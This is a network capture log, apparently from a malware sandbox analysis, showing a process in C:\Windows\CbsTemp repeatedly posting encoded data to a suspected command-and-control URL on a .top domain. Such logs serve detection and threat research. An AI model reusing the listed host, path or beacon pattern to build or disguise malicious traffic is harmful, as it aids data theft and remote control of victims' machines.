Jan 8, 2025 17:13:33.341219902 CET	821	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gmZ9WY%2F4osNIjtZPMMN%2BsWOwuwx7H680THGKVIhlLCx7gA1BRkt2bvbw12bLk4KbG%2Bek%2FrD9KKtnQhiic0hib%2BiyoxYgWtz4e8x%2BJdOKA6o9yBHF5h%2BfA%2FYAG3agu%2FjU4yYAX%2B%2Fe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79b99a560f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3055&min_rtt=1635&rtt_var=3454&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=112299&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	50028	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:33.465569019 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:33.816852093 CET	2532	OUT	Data Raw: 50 52 5b 57 59 5e 53 5e 5e 5f 57 54 56 57 59 53 57 56 58 5f 50 59 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[WY^S^^_WTVWYSWVX_PYV^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#++\%3->",4\=>[*6$<!/Y(?X6[$.#_&'P-
Jan 8, 2025 17:13:33.949740887 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:34.110300064 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6G%2BFQFkHJRcj9t%2F2heVtdWoA%2F6NkZ5kSfs7qy869QL6loMWUnuUXhMcAE9qsxS%2ByjPVOcJodDZi94Nm3U3Hsvas1j9vSmKQyA4cCTZ48xp6ZX5Pb8%2FxtbjIa4681BL2pD9kuIdw3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79bee875729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3233&min_rtt=1942&rtt_var=3311&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=118960&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	50029	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:34.246028900 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:34.598480940 CET	2532	OUT	Data Raw: 55 55 5e 50 59 5e 53 5b 5e 5f 57 54 56 5b 59 59 57 51 58 5a 50 5d 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UU^PY^S[^_WTV[YYWQXZP]V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _((+]0 "=5[/7 >.)*$V<")Y<\5-8-/#_&'P-3
Jan 8, 2025 17:13:34.699580908 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:34.935005903 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zy3eot1q908Ao7aFkTAIvLtTPLQ2mXhJMHM3tvltjvXsoygtSm7nsQiOVyWasTRGAqd6PAa272GJaYOFMnwicwcPA%2FSMfl9YLLTA8oIBBg9UOMiFsR8i5kRP84p1uIlyo%2BA8mC9K"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79c39d4b727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5001&min_rtt=2004&rtt_var=6746&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=56188&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	50030	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:35.310847998 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:35.661081076 CET	2528	OUT	Data Raw: 50 51 5e 5e 59 5b 56 5a 5e 5f 57 54 56 5e 59 5f 57 57 58 5c 50 55 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^^Y[VZ^_WTV^Y_WWX\PUVP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +7%#Z?>&;$<=1_*'+S+2^>Y' .49#_&'P-3
Jan 8, 2025 17:13:35.778414965 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:36.029388905 CET	813	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4UVkXcsNmHPI5chSNU4Z1ecVz59G%2FqaE%2B%2BM7AUUw0SUsMeE0iROo%2B7Q4VQ41a5IJ8KNMMMOBNU0%2BcHf3gNw%2BVLXDEXe8faKFDfkCMTqxum2HrwT4pIOyDPXuoh5ndx%2F6ZPIUuEbr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79ca4c5cc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2865&min_rtt=1570&rtt_var=3180&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=122329&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	50031	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:36.208878994 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:36.567085028 CET	2532	OUT	Data Raw: 55 56 5e 55 5c 5d 56 5a 5e 5f 57 54 56 5c 59 52 57 54 58 59 50 58 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UV^U\]VZ^_WTV\YRWTXYPXVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ?(3X0#[>-2;]=>1]))';)!;(?!-(.#_&'P-/
Jan 8, 2025 17:13:36.654782057 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:36.910579920 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lRJHjO%2FTsPFkK801bAeMq2n47loAWwnkyBt1kA7iAAY4ukENL9A9VEyNamwSFfOU3r3WnBmJphwthmwHT1tFYoofNL4jqH2kiq10QSfLacTKtgYbNR4lMDLLtIQZwBUePmPBuC3W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79cfc885729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2567&min_rtt=2048&rtt_var=1807&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=235218&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	50032	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:37.047214985 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:37.394975901 CET	2532	OUT	Data Raw: 50 57 5e 52 59 5d 56 53 5e 5f 57 54 56 58 59 5c 57 5f 58 59 50 5a 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW^RY]VS^_WTVXY\W_XYPZVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X+;?\'.^=[/+>=>!Z'=(10>]5.+:#_&'P-?
Jan 8, 2025 17:13:37.521162987 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:37.734548092 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:37.763859987 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rJHAbGikklIUtZCCr61%2BT4jqpQpB1p1VbNEc4a6C%2BJPmZhZ5fW6Z0eJ376IXGl9BchC3zNVgzvAXtOKPBTsQvyUtFl8VzzkjwJm7vH%2FhtsliLWaioQ4GlYDlPoEWOqJ2WxU5UpnK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79d53ed243b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3973&min_rtt=2158&rtt_var=4440&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=87508&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	50033	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:38.008079052 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	50034	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:38.113250971 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1836 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:38.457668066 CET	1836	OUT	Data Raw: 55 56 5e 56 59 5a 53 5b 5e 5f 57 54 56 5e 59 5d 57 56 58 5f 50 5d 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UV^VYZS[^_WTV^Y]WVX_P]VP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ [(+0 "^>8$Z=-6)1X&8-("(>4Y"^:#_&'P-
Jan 8, 2025 17:13:38.560874939 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:38.794789076 CET	950	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uAeE%2FMeut01QmfIukDbovC8EpmsPl5yF%2B0L1OLzGnqyTZnf4QM8Ib8Fg2spA355MAKKXP3NlLkgAyKwiL5JwkXkexmSP40UQegCTEd%2Br8n8MlMeYn%2Bng8iC5CzLI8Rsm6XmtkYg7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79dbbfaa727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4662&min_rtt=2038&rtt_var=6012&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2185&delivery_rate=63392&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 54 24 2d 0e 13 20 3b 0c 09 2b 2a 09 58 2a 20 22 58 2d 5f 23 00 32 27 3f 01 32 05 33 01 34 11 3a 07 2b 5e 31 12 26 35 2f 09 2b 2b 20 5c 04 1f 24 5e 3c 38 2d 52 3e 2f 2e 59 24 20 22 01 26 23 0a 5b 26 03 05 59 27 07 25 0c 20 3a 33 13 38 1d 3e 56 2e 38 24 5b 2a 37 37 02 27 14 2f 50 0f 10 38 51 3a 39 2c 02 36 31 2e 55 35 23 3f 10 22 35 3f 02 2a 2d 0d 18 35 3f 21 5f 24 23 17 57 23 22 3f 57 24 55 2b 14 28 31 01 0c 2b 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a Data Ascii: 98$T$- ;+X "X-_#2'?234:+^1&5/++ \$^<8-R>/.Y$ "&#[&Y'% :38>V.8$[77'/P8Q:9,61.U5#?"5?-5?!_$#W#"?W$U+(1+$U,,I?XR
Jan 8, 2025 17:13:38.882110119 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	50035	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:38.264816999 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:38.613781929 CET	2532	OUT	Data Raw: 55 51 5b 52 59 58 53 5c 5e 5f 57 54 56 5c 59 5b 57 54 58 53 50 5b 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ[RYXS\^_WTV\Y[WTXSP[V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ (<'9.5].$#[>=!;$+<1 ),8".+]-/#_&'P-/
Jan 8, 2025 17:13:38.735891104 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:38.965667963 CET	799	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tq2Dys%2FCW10%2FoOOSG3yEd5DbLT0FRTtvwy6n2z145tA552GXNelEWlUggkP5bsxpqb3HjLkvuIj1IfCVgPiSHaq0iOW2Y4Kk5V9gHdbyRtZ58B08f2Y59%2Bpg1i39VIbuqofzdV2T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79dcc91dc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4292&min_rtt=1471&rtt_var=6195&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=60716&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:13:39.057888985 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	50036	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:39.187189102 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:39.535696983 CET	2532	OUT	Data Raw: 50 56 5e 53 59 5c 53 5c 5e 5f 57 54 56 5b 59 5e 57 54 58 52 50 5d 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^SY\S\^_WTV[Y^WTXRP]VX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Y<?]$U%==!Z,43Y>>;9Y39+"<(?;!\-/#_&'P-3
Jan 8, 2025 17:13:39.630831957 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:39.872028112 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XYGa2wbZMTlLm8ST4EopMHce61Tl3R3dA4aeBHBfKe9xvOQopvOGpR%2F1RSEN%2Bi%2F5dMWp9kH8Zms%2F9HUi0I50roLbF3vMGJSxipf%2FCL2iwReBH8rq28IZWKKnaCJ2JzanSvhwvMuK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79e26c9543b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5116&min_rtt=1575&rtt_var=7673&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=48822&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	50037	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:40.060520887 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:40.410835981 CET	2532	OUT	Data Raw: 55 54 5e 56 59 59 53 5b 5e 5f 57 54 56 57 59 58 57 50 58 5b 50 55 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UT^VYYS[^_WTVWYXWPX[PUV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ?8($==>83=-=>2$(%<1 )?7!.#_&'P-
Jan 8, 2025 17:13:40.514039993 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:40.726475954 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:40.767915964 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qi71mPqiqKmXX%2F2HHFtM6dMsP4SS7tWI8sPnIzCVZyvqJ2yFDTWABE5ieJanH6seQ%2FjNmlV6apTWLXH9E2jrFibQLYUkV%2FsxhCljBt211GRFORYkFWwVZ%2F8nkB%2BgZ0smkkLWUl5h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79e7eb5c729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8586&min_rtt=1939&rtt_var=14022&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=26488&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	50038	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
